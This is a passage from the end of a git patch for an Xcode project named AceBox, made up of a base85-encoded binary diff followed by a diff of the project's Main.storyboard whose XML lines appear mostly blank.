z4qk%az#H&e_#ONn{s3>nd+=xY3-sKF58!X`Df}D0KoS&$6et`iQ6$o!BxFL#$ck*p zjvArHs0r$XI-@SAE9!>2qaLUy>V*nXZ{$LKP!TFdZd8hfqG6~EjYaRF$>@DF1x-cM z&~!8(EkFy=B20K_#u9Tf5pGy$M|>rg!mIN2_S()LV}2t1QP{`AZn683?z{l zNg7EfcG8eEA+1O*DIlFlSJI0Vl0L*u29i?ZA(SxkE}7&ZEy;Ui7MV@vkhx?5Sx6R< zP2?l8nQS3j$u_c`d`xzbo#Yd;j~paN$T4!7TqIwTugLf02Xc@6OnxE1lRwCxBsA-9NI#;xL3b02b>xR1Ea+!k&hx1T$}9pnyi zwcK&;EO&|fio3@Bz}@8TaQC_2xWBmP+}|QjBog_Ef<#J@TBH*th>}DWQHsbaN*85{ znuxLsVuy_29}owj_h0qmGHdvzqEI0l^pp@Ak;c&mB?j z>NCil?=G(b3`_z=1$p`T?($1swnPTG(*p$5JpaG>WHs9jAn>%2SxPIk`A&nhc(jj04DKvCUpP7A=Dp^XHrh4ViT zF07`F>m)9L%e`KM<`t|0mjuy5seIfxvoYE{!5BTx;z)5Aqb(_E)(I2pcXI9PIGBj+Km5{h8}ZAUxN#;**(ASeT}N+^ZFv_0)m2}58g z&8Hn{0slnWE=h>ixiF$q2&#ICNErQ=ga*dY&a?|H;70`OBH}@91x%pbY366p2$P@* zh+#4`gNHDM-w~{_^rSs#OWH@9wdYq=OP`Bh*K19Mc3`T6X)vAkqJ@>v0W)ZC>Y@g| zt;{H-D9nOQd5`F7gc|t$F)mY~G-#YH#b!!1MkiS<7E|hkI_tMUZ8iK6-iCMJUAllSq>Jccn#oU$ zwL0KK_~>nukKrEzPQTM-74T2G;%%IsdvRJ`D9!iA*~8>WULD0{z?Vqm#R?j=L}mkx244!4`EeuYv;@yPOG_sEhWcT(L#Mv)`E zugh(<78j>kY-vSlX~jiFu2h?)kK0^qH5Xg#>DIKq#V&V&t88$Zty4)mL0#9nKk3Gl zdiVRH0l-v+`l0@)gdU&=>7gn#5DoH&8T2sy)>{ad=?Aq$!@-3$s2q(zBhe@{njWDi z=~;S_UU^;7(KzH0G>u0S&_sHaeoBv3A&MA!m)6qb^n}nV^gN4;;z!1ndHx5)8EE#u zWapr{XdXR9Pt!Bhplt%`KJB9mnvN(LR9x@>Vzm5Uk}J?kw2Gdi=jjDOQd%e3AtU;= z)h6Dmh}NL>{}SGSHlh#dC3=~DMh)7=59@@BK(r2l=u2oT5Tk8q`}Pg-qtHP5xwpZi z9cX9I*9|_~Rqm=nJJ2pr)G04t_^;mAPtYM?szKw?UbGKQLqv%s~1RbH*=ym!vy+NjH8yUgUNqPV=DiK#VS+i=FfGP30wn-9i~`^z2r{ zFX=aR&Rj;H)!B7dqRYaJA?;XN>>3m8DvwUfu-T&9k? zRDr&xKUAO_^wwJy0o@cT0-`thbH-eC9e}sdPe4|Q?x4H$M|!&w-9taqJM=Cs;MXRp zJ#|)o0~a>HbubtH4%@;uARnxSdEhQsM?JKJE~EXZn<}Z54x}w;>T6Fhz`nq=7DJ3M z#sqU%gnj7G^cQ-cKA;cjBl_!F?1%la7)US{vWosjAJg9{ruV%WW$2Z|kFh-WD7*uf z%_2-#DXD2@W3EaN90oCi+&^fy#qYd5TjBP!GlPT{Xq!yi?M(pzAdf!~;{x2}e|WnIydr^@hQH<& zSbJeNFxB8f+#9=aA6$fs8T4h)k3oM1#S8{87+8b*;(oY4F2RL(AcGPH6BtZku)UYH zPyj5tOHpaD+mw^d?`k6DtDCIJ#^rdNpm_uyiAUklcnluPU=V{+27?)tF&M&NXbm0@ zw0I)WVu~4qVN}YXM)=Y)7)uTO2U$w~aaIgpot4MSo5p+abUYKtD)0;j+<4F4!jtz5PDPwUW%9D z<*VUDKzj0n?^?AwRi(CRpNDcDT7fAswxHEIyP$H zpEXrQ;VpQ(z_Ju?^U|aL#iGNX;JyFsWgmkvw4mPegZNNg!{d|NgnR0#pW@no1dcPP z`$ymuKJ(93&oZbN>O$QfFW^f;pk+{31-{H++&?Q<@E3y6RR-fLy#5O(`R{mbSEuJ| zd`n38Z}1KLE&dLFkAJ{788k4M$e@wIBnC|kCNpSWi*ivezJqe{Qm`Lr>24vjEW($H zI)z(0KQTKVs(F?zSGOv0m$}M{`j4qgt>$msLWdVhH3AR6KRXY`dVl3*OZs>#7XHI~ zd#c~!QvwCop5ednbNn}cfnO59pp`)zgQ*OrF__Mvok7Q1f(RyrV1iLD@ntZB!L|(M zdcWHWE(%wo@y-7TATl5(AtaQ95jj7xg~AA(47Opg;Uyp@;Y3MPUGwry!@c7MgP9#$ z6f|q&E$*ZNiR2Hr2x&wbkSOn)LETL9%2yIiVu7rRXh;mvGT4a0#tb&8B08ccaSUcL z*n+`Uw1Ahj)X7K^F_C0qCKi%Hti(oA`J9$!4{Xk0GpUHdrVM6x${#bl+&#EZDlIA< zQeIX%sH1yyd9%_%rDd0igP4GrWDqB@bk57~+`pvU-P8=En8D_CzBVF_JLlzlxhqK{ zQ1lteB29sqGy~m8bJBve?3S0`(bXrvymaXB?s@rHgG%}h8O;CDQWXeWN>QDT9MYO^ z)Jo-3McRuuh)H|Wf#j2p{PL&+#$sv*Nj85vH>@fb3a!43@OGuV;A z0&kV-R6|CSF+c~jVPrheGT52HE_8-arh0k9`MaFCabz-?2254teKLhiWw0xQ-5Bg% zMW&-%GLyj`LTvS<27YPlabhwLc)STob$oQ2xcdAii%BIgttU(H7_y8kCo9NGvWl!G z6%6+FI^trm4}(Pv7BlE(urGuC)&ni6CTmCy$|dWF@ZUzkul@{{FgQRkI*`FZ0%@?2 z+~GoVDl023Yf&<&+%1gC&4;-7pW1xvA-i6^LiqzR+4IKl{jXk01p1*j=tsT3>mjct zC+fQyImuw@t8PZlfD2XREICKcGdPsNG6u_Ew={Bzd|uzC`U)=$SWB+bXABM#`qU`% zn|+F0Bj42XdRgPixAY~0!v)rrv2U^7B)8vWC3nbO21hVBk{0kE=4u;|`{WTYRgwqf zA%mkC98)P2ETK$M1OH2IQ`m;T7?~+tIeU|*92Sn`8TpGmCx4R{JR8u%jH z-cT-_Qvp*2r)2Q`3NC`dDb&EHq$aoI)SO0Gh-PqV1sB8MG-~K5j1#X==k%Nb$f~$F zE}lzZa5{rC7@S$fB?29n#NY>lwe_@sUzh6Y!&yOX1!rS$*6TrvOXnH`(^}5XIk*hY z$z^g4xke1mW^fLJa~Yh+AkW}@1{bX5ns8ZMQ?41l3bMEs3@&7F5raz@T+3iQl{2`G z8u)=}M+@6?U4ZQWeMRTG{&PiVaPb>=^a5{P=UlI^=AUzJt}hUC{kZ;I2{(Wn$PMBK z^W)R=1FINZ#$XMDOBt->uch0Y4+XVV+%T?;8_wWz23Ik-nr2?+MslNo7+>YaaAUjW z6uXC%m-H=hmlfm;DRz%$FrL8`46gJR8*V%|fnQ=*bCujgP{c2>Yu@n+!wjI~#!{Dn z>g6ywzSA4yw+B7bA?O6e=XHX^4xrWm?H@<07d*TN1~@w{-~1jqW*8ZUvtxi zn*f8=b+9fM4u1uM8))W#J!o33_SX-ZTm@GHOx0W^SH)FxYZ&~H!A%T)#Ng&?ZY{SC z9pN@GxP`$T^g4sPsG&<+o@HbvZRK_fV%xaw+{fGw2DdV}jlt~nA zsMDKf_cA=P!`x9Jx{olpvjXVo459Nn8+cA|r|L@ycbdW7uSyAb4qT|@&T|(S{Di^1 zud4`mnY;34x^tD>7hb3L2&G}xoi|GZcb&WO7H<{zop*Qp1l|w22)yq4_aE*S_v2f= zg1gJzd+piJ3?8ia?1A9fL+%lShZsEik7tj$Ki{(UgnP>1VFr)T0{(PnM9UW<_~yC@ zi7zp@oMA4wON~96Rh_nozV(>JBXZ|O(UT4y){P?e&5t-_8X5iWX|D<_qBO*KKCQ`t& zpc_2P;6-7xmnf)nu_36f5Ct-L{MGZnC`;6|P#VX(8fydcN{iiX+{Q+QDhdGL*|kBWFc8hmXhUUC0R`>Nj2F^_LGC;FgZ$&k>lhf zIZe)z^W-AAOn%~gI1OjwnscMM>D&hH7}Qi>u(ks^c0DDs#@ zW>JdBCQ1|8MMa_yM8`!BeGEQ5eFpdp_9^u#^C|Zk=`+b^hR-6OB|gi1R`}fUdF1ol zm-7|-N_~~Sdf!yvbYF+B)3>2-W8W;_X1*PKJNkC=?c&?bw})>p-`>7`e8>Av^ z-glqxIp6EPw|sx}z2p1H_k|zlC-w{V_$mC9ei42tejWS@{d)Vk{EGYr`Mv8m&2OP! zm0ykDI=_v6oBTHW9riorch>K`-$lR6e%JlJ^ZVKFsoyidzx@98_xBI-5B3l75BFF3 zH}H@0PxMdnPxiO?kMy79KiPkZ|1|&0{@?oF_P^_Y&;J+y$Nqo#KkBo#S_Jo#52XS#dF2Hc)56mc$Ijac$fHq_^SA(_@4L|@dNQA@e}bg@pJKu z01)685D*{pplv|cfbIc30}2DG1GWb23D_5KAmC8I zk$}?yX9La$TnxAz@OdBzOb+Z7I3;j?;37}plECGGD+5;tejK@Iui70P;JnOpi@CtgT4&97WB0=L7FDD zOEaXI(mB!<(pAz5X_fRzFc<6->=!H!?h#xPTozm&JTiE6@Yvu4Yn%Z##AS-Q+2bIKaZT6kowWUXawWqGo8vaYf|vQpV-*;v_l*+dzY zO_R-#eIT1Hn=9jG%Vle1+hluX`(+1Zhh;})XJqGO7i5=YpUJMsZpiM)ewRIwJ(K+{ zdl>>lBq7oeSx9I|Nyx~MNg6pXK-Ef61TA|CYa01SrB33WZV;p@>xI74Zs# z!l*DQ%nFC1h2kAW2SrCkCxuHfL{X|3swh)<6z?kDQ%q4zQ_N5-QLI*MQg{w2jwn7= z)GAIWPASeP&M7V^E-7v)ZY%C8?kRpzJWxDR{HFL_@u%WxI1ZPD$Aw$NTZb2hmxs>` zUlYDHd|UYa@WTNBb92UUKy`6D2+;!(xn`)T%cU3T(8`y+@##B+^XEJ z+@U<8JgGdbJgYpfyrTTVqx?#FUHOg5N0q8_sRpQqsYa_Nt7fWZsphEWsg|ggsaB{~ zsVY<(R3ECgsSc`YRVP%ZRA*F|RiCS_s=icRQ{7bER^3Out%TuM_s7q0wMSUH0GwN>C^QaeUAGNPCT3xBGR@bOMRBu=BQy){GQ~#j8rM|7ctG=iHMg2hi zNd24oclDp@r_mx$bXc?^S{WS?9T}~T)uRjOfhhM$t{8n?|>f9ud7W z`j*B=qt!IhbkVpp#hSjF{+bb*>6)3ES(-VTd7Al}g_^~hrJCiMm749E9hzO5J(~TR zLz<(STFnW~Y0Wv!15U?Xd7#@wAtDg+IO@)v?ba>+EQ(q zc7%4ccAR#qc7}GAcCL25c9C|ecDeST_C_p<)x@U87R2_6EsZUU9T7V^c3kYlSQa}g zc5W;myU-K6ICfd=%GlMhyJD~D{B;RByRNmav#y)2r>?iINaxm#(!HmfqMNS!KsQG> zPq#!@quZ?8s{2^COSeaNR9CAzsXL=Pue+$bq`RiOt$VC{s(Y?`sV90Ly}v#{uhtv& z7QIcMuFupr);HB>>pSa<_5Jh%^n>+7^<{dGM^E)kKS{q#zfQkV|B-&H{$u@4{ZW0b z{-pkl{=EL8{u}*w`XBT^>hJ3B>7VHT(!Ypo< zT$i|RaXsP+<6LpYaed?Z#|?;^6SpnySlr!sQM@6(eSEk0?(se22gHwwA0O|De>Z-z zCw^-DjQCmcE8Juo=<~jSN|aY(q;!j-kDw*f7vQ4Koc(3~LRW z4ciPm47&__4EqhA8m<~{8h$oBFg!9mHhBI{&!&SH`c6-x_}~{%E{w{Mq=__}ut12`1qrktfMF z$v;V#)HtbYQhCz+q>7|NIsZ+IQdla>EyG?SCX$Lf0_Ja^4;Wn$@h~V zCI6QE+>Fg4v!6M@EHOuzqs=kqSaX6o(QGoC%?@)5a~pH6`5kjdb0>3Gb9ZyGd6;>m zd9-<~*<*g!JlQoSdV3bg<2+A z-nUG%%(Tq5R9dPnYc1<78!ekGTP)ixJ1w7B_FB$aZd-m&2}n_-B&D=VDNZR(8K2@w zc{gQp%G8wUDce#GrW{E*mU1HHbjsP3ODQ)}eoVQW@^i|Als{6Qru>!i!V0WLYqqtA z)otx>9cUeF9c!ItooStIooDqdur9VPv#zvmvTm_%x9+rlV%=vwU_ER-YQ12+ZvE3H zw#C_++uGYE+Gf}m+m_mv+g93E+bV6)XdbzsZCRxr;bXcsZ&y?r+$z+Cv{%xs?-gsTT-{D?o9o}lX@ieyVM`k zxHMT>Xqr4tnWj%mNJ~sJrKP4dN^6srm)1TlKW$yw*0kekXVSh;yO%Cck4SHko}1n+ zy+?YlbXWR-^ug&v)63Flq%TgdNUu&`o4z4^Q~J*IPty0LA4or(el-0|`jzzW(x2Kz z_8_~=9%c`>N7!TSdV9RxVD}j9CVN|ZiG8MhjeVPahkdtwuYJG$p#8G_Tl)|8TlPEl zd-h-Kf7t)Bzi>bYc1Rsz4uwPMh;nEgu@1c>*^%kUax`-^ceHloI@&opIJ!IfJ4ze_ z9D^KV9OE4m9nA5b<9)|$$9%^k$5O{~$9l&{jxCODj$MvDj{P3TLB~nQCC3fNO~;Rp zJC0u*4;{Zbe$Vj9kY;Ey(lXj*49pmkF*IX%#>kA>8H+PkWo*nim+@7`^^6-C-)G#) zc$V?E6F9L`IR`k0JE?P$ z^L^)3XN9xc*{sI7-nr5Fv2&Mmk8_{%nDc@2ab{FzTxM=&hs@EL(=%shF7VzB0YY_u NMQ!W;)_*b={U7i{Ez1A^ diff --git a/tools/AceBox/AceBox/Base.lproj/Main.storyboard b/tools/AceBox/AceBox/Base.lproj/Main.storyboard index 64f32e1..8f5b4fa 100644 --- a/tools/AceBox/AceBox/Base.lproj/Main.storyboard +++ b/tools/AceBox/AceBox/Base.lproj/Main.storyboard @@ -1,7 +1,7 @@ - + - + @@ -20,18 +20,15 @@ - + - - - @@ -63,13 +60,13 @@ - + @@ -91,7 +88,7 @@ - + @@ -100,32 +97,12 @@ - - - - - - - - - - - - - - - - - - - - -- 2.47.0